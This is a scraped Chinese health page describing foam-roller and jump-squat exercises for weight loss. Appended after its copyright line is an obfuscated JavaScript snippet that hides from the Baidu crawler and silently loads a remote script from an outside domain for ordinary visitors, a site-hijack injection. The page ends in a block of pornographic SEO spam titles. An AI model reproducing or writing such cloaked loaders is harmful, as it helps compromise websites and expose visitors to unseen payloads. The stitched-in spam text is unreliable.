當前位置:首頁 > 健康 > 運動健身 > 正文

減肥操健美怎么做

2017-04-16 10:02:48  來源:360常識網   熱度:
導語:現在很多的朋友都想要減肥,但是就是找不到適合自己的方法,其實想要達到減肥,運動是并不可少的一部分,如果想要減肥,一定要在平時多加運

現在很多的朋友都想要減肥,但是就是找不到適合自己的方法,其實想要達到減肥,運動是并不可少的一部分,如果想要減肥,一定要在平時多加運動,健身減肥操就是一種很不錯的減肥方法,可以幫助我們起到瘦腰、瘦腿、提臀和收腹的作用,而且可以針對自己想瘦的部位去運動,那么減肥操健美怎么做呢?

1.瘦小腿 坐在地上,雙腿向前伸直,手放在背后的地上,支撐身體的重量。把一個卷軸放在膝蓋下,慢慢地讓卷軸從你的膝蓋處滾到腳踝處,然后再滾到膝蓋處

2.腿后腱 坐下,左腿放在卷軸上,右膝蓋彎曲,手放在身后地上,支撐身體

(a)滾動卷軸,讓它從膝蓋滾到臀部位置

(b)換腿練習

3.股四頭肌

臉朝下,把卷軸放在髖部位置

(a)身體傾向左腿,用左腿作支撐

(b)讓卷軸在膝蓋和髖部之間滾動

4.背部

坐在地上,卷軸在身后,雙手交織放在腦后,上身向后靠,躺在卷軸上

(a)收縮腹部和臀部,慢慢地滾動卷軸

5.腿外側

側躺在地上,卷軸放在髖部左邊下面

(a)緊縮腹部和臀部,使身體保持平衡,慢慢地讓卷軸從髖部滾到膝蓋處

(b)換另一邊重復動作。

6.肩膀和身側

側躺在左邊,卷軸放在腋窩下

(a)綁緊腹部和臀部,使身體保持平衡,慢慢地讓卷軸從腋下管道肋骨的下面

(b)換另一邊重復動作。

7. 去除下半身贅肉

激烈蹲跳

(a)雙腿叉開站立,腳尖朝外,雙臂放在身體兩側。慢慢下蹲,直到大腿和地面平行,且手指能夠觸碰到地面。

(b)立刻盡可能高的跳起,保持你的手張開且筆直的伸過頭頂。建議每組12到15次,中間休息30秒。

8. 鍛煉胸部,心臟和臀部

俯臥撐式滿爬

(a)面朝下貼近地面,雙手分開至肩寬的距離,讓胸部盡可能靠近地板,并保持該姿勢。然后彎曲右膝蓋至到右肘的外側。

(b再回到原來的姿勢做另外一邊。建議每組12到15次,中間休息30秒。

以上就是關于減肥操健美怎么做的一些介紹,其實減肥不是一朝一夕的事情,這需要我們長久的堅持才能達到效果,而且在生活中的飲食也要注意適量控制一下,兩者相結合才能達到最佳的效果,為了自己能夠擁有一個好的身材,為了讓自己變得更加美麗,一定要堅持鍛煉,

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
无码国产精品一区二区免费vr| 精品久久中文字幕| 午夜在线视频91精品| 久久99国产精品尤物| 无码国内精品久久人妻麻豆按摩 | 日韩精品一区二区三区国语自制| 久久99国产精品一区二区| 精品免费国产一区二区三区| 久久九九AV免费精品| 国产精品污WWW一区二区三区| 免费精品国产自产拍在 | 九九精品99久久久香蕉| 亚洲国产小视频精品久久久三级| 国产精品亚洲一区二区麻豆| 久久99精品久久久久久首页| 亚洲精品无码专区久久同性男| 亚洲国产精品精华液| 精品无码国产自产拍在线观看| 国产在线精品一区二区高清不卡 | 精品无码人妻一区二区三区 | 日韩精品专区AV无码| 国产精品无码久久久久| 精品久久久久久中文字幕女| 91国内揄拍国内精品对白不卡 | 777午夜精品久久av蜜臀| 国产成人综合日韩精品无码| 精品午夜国产福利观看| 99视频有精品视频免费观看| 亚洲精品高清无码视频| WWW国产精品内射老师| 国产精品美女流白浆视频| 国产精品久久久久久福利漫画| 国产精品扒开腿做爽爽爽视频| 成人区人妻精品一区二区不卡视频 | 日日夜夜精品视频| 18精品久久久无码午夜福利| 久久久久久亚洲精品中文字幕 | 国内精品久久久久影院网站| 国产精品内射久久久久欢欢| 日韩精品无码久久一区二区三 | 日日夜夜精品免费视频|